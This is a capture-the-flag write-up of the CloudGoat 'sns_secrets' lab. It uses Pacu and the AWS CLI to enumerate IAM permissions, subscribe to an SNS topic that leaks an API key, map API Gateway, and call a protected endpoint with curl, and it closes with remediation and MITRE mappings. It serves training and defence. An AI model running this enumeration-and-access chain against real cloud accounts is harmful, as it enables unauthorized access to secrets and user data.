🄷 CloudGoat: SNS Secrets

Write-up: Exploiting SNS subscriptions to leak API keys

šŸ“… 2026-01-17

🧭 Overview

Scenario: sns_secrets
Platform: CloudGoat (Rhino Security Labs)
Tools: Pacu + AWS CLI
Objective: Enumerate SNS topics, subscribe to leak secrets, and access protected API Gateway endpoints.

āš”ļø Attack Path Summary

SNS User → IAM Enum → SNS Enum → Subscribe to Topic → Receive API Key → API Gateway Enum → Access Protected Endpoint → Flag

šŸ”‘ Phase 1: Initial Access

Configure Profile

aws configure --profile sns_secrets # Access Key: AKIA**************** # Secret Key: 7C30FWO69LHE8JZt7RcZ********************

Validate Credentials

aws sts get-caller-identity --profile sns_secrets
{ "UserId": "AIDA****************", "Account": "7912********", "Arn": "arn:aws:iam::7912********:user/cg-sns-user-cgid38umo4q95r" }

šŸ”Ž Phase 2: IAM Enumeration

Launch Pacu and Import Keys

pacu
Pacu > import_keys sns_secrets

Enumerate Permissions

Pacu > run iam__enum_permissions Pacu > whoami
{ "UserName": "cg-sns-user-cgid38umo4q95r", "Permissions": { "Allow": { "sns:listsubscriptionsbytopic": { "Resources": ["*"] }, "sns:gettopicattributes": { "Resources": ["*"] }, "sns:receive": { "Resources": ["*"] }, "sns:subscribe": { "Resources": ["*"] }, "sns:listtopics": { "Resources": ["*"] }, "apigateway:get": { "Resources": ["*"] } }, "Deny": { "apigateway:get": { "Resources": [ "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration", "arn:aws:apigateway:us-east-1::/apikeys", "arn:aws:apigateway:us-east-1::/apikeys/*" ] } } } }

Key Findings

ServicePermissionsNote
SNSlisttopics, subscribe, receiveCan subscribe to topics
API Gatewayget (with denies)Can enumerate APIs but not keys directly

The explicit deny on /apikeys and /apikeys/* suggests there are API keys we're not supposed to access directly. But can we get them another way?

šŸ“¬ Phase 3: SNS Enumeration

Discover SNS Topics

Pacu > run sns__enum --regions us-east-1
[sns__enum] Starting region us-east-1... [sns__enum] Found 1 topics

View Enumerated Data

Pacu > data
{ "SNS": { "sns": { "us-east-1": { "arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r": { "Owner": "7912********", "SubscriptionsConfirmed": "0", "SubscriptionsPending": "0" } } } } }

Found: arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r

šŸ”” Phase 4: Subscribe to SNS Topic

Subscribe with Email

Pacu > run sns__subscribe \ --topics arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r \ --email my-email@example.com

After confirming the subscription, the SNS topic publishes a message containing the leaked API key:

API Key: 45a3da610dc64703b10e273a4db135bf

🌐 Phase 5: API Gateway Enumeration

List REST APIs

aws apigateway get-rest-apis --profile sns_secrets --region us-east-1
{ "items": [ { "id": "gfal9z7rki", "name": "cg-api-cgid38umo4q95r", "description": "API for demonstrating leaked API key scenario" } ] }

Get Stages

aws apigateway get-stages \ --rest-api-id gfal9z7rki \ --profile sns_secrets \ --region us-east-1
{ "item": [ { "stageName": "prod-cgid38umo4q95r" } ] }

Get Resources

aws apigateway get-resources \ --rest-api-id gfal9z7rki \ --profile sns_secrets \ --region us-east-1
{ "items": [ { "id": "1wq00q", "pathPart": "user-data", "path": "/user-data", "resourceMethods": { "GET": {} } }, { "id": "n20xrta7ec", "path": "/" } ] }

Construct API URL

API Gateway URL format: https://{api-id}.execute-api.{region}.amazonaws.com/{stage}{resource-path}

Endpoint: https://gfal9z7rki.execute-api.us-east-1.amazonaws.com/prod-cgid38umo4q95r/user-data

🚩 Phase 6: Capture the Flag

Call Protected Endpoint

curl -X GET \ https://gfal9z7rki.execute-api.us-east-1.amazonaws.com/prod-cgid38umo4q95r/user-data \ -H "x-api-key: 45a3da610dc64703b10e273a4db135bf"
{ "final_flag": "FLAG{SNS_S3cr3ts_ar3_FUN}", "message": "Access granted", "user_data": { "email": "SuperAdmin@notarealemail.com", "password": "p@ssw0rd123", "user_id": "1337", "username": "SuperAdmin" } }

šŸ“ Attack Chain Diagram

ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ SNS User │ │ (sns_secrets) │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ iam__enum_permissions ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ Discovered Perms │ │ - SNS: subscribe │ │ - API GW: get │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ sns__enum ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ SNS Topic Found │ │ public-topic-* │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ sns__subscribe (email) ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ Leaked API Key │ │ via SNS message │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ apigateway:get ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ API GW Enumerated │ │ /user-data GET │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ curl with x-api-key ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ FLAG │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜

🚨 Vulnerabilities Exploited

#VulnerabilityCWE
1Sensitive data exposed via SNS topic subscriptionCWE-200
2API key leaked through notification serviceCWE-522
3Overly permissive SNS subscription policyCWE-732

šŸ’” Remediation

  1. Never publish secrets via SNS - API keys, credentials, and sensitive data should never be distributed through notification services
  2. Restrict SNS subscription permissions - Limit who can subscribe to topics:
    { "Effect": "Deny", "Principal": "*", "Action": "sns:Subscribe", "Resource": "arn:aws:sns:*:*:*", "Condition": { "StringNotEquals": { "aws:PrincipalAccount": "YOUR_ACCOUNT_ID" } } }
  3. Use AWS Secrets Manager for API keys - Rotate and manage API keys securely
  4. Enable SNS topic encryption - Use KMS to encrypt messages at rest
  5. Monitor SNS subscriptions - Alert on new subscriptions to sensitive topics

šŸŽÆ MITRE ATT&CK Mapping

TacticTechniqueID
DiscoveryCloud Service DiscoveryT1526
CollectionData from Cloud StorageT1530
Credential AccessUnsecured CredentialsT1552
Initial AccessValid Accounts: Cloud AccountsT1078.004

šŸ› ļø Commands Reference

# IAM Enumeration (Pacu) import_keys <profile> run iam__enum_permissions whoami # SNS Enumeration (Pacu) run sns__enum --regions us-east-1 data # SNS Subscribe (Pacu) run sns__subscribe --topics <topic-arn> --email <email> # API Gateway Enumeration (AWS CLI) aws apigateway get-rest-apis --profile <profile> --region <region> aws apigateway get-stages --rest-api-id <api-id> --profile <profile> --region <region> aws apigateway get-resources --rest-api-id <api-id> --profile <profile> --region <region> # Call API Gateway with API Key curl -X GET <api-url> -H "x-api-key: <api-key>"
Share this post on: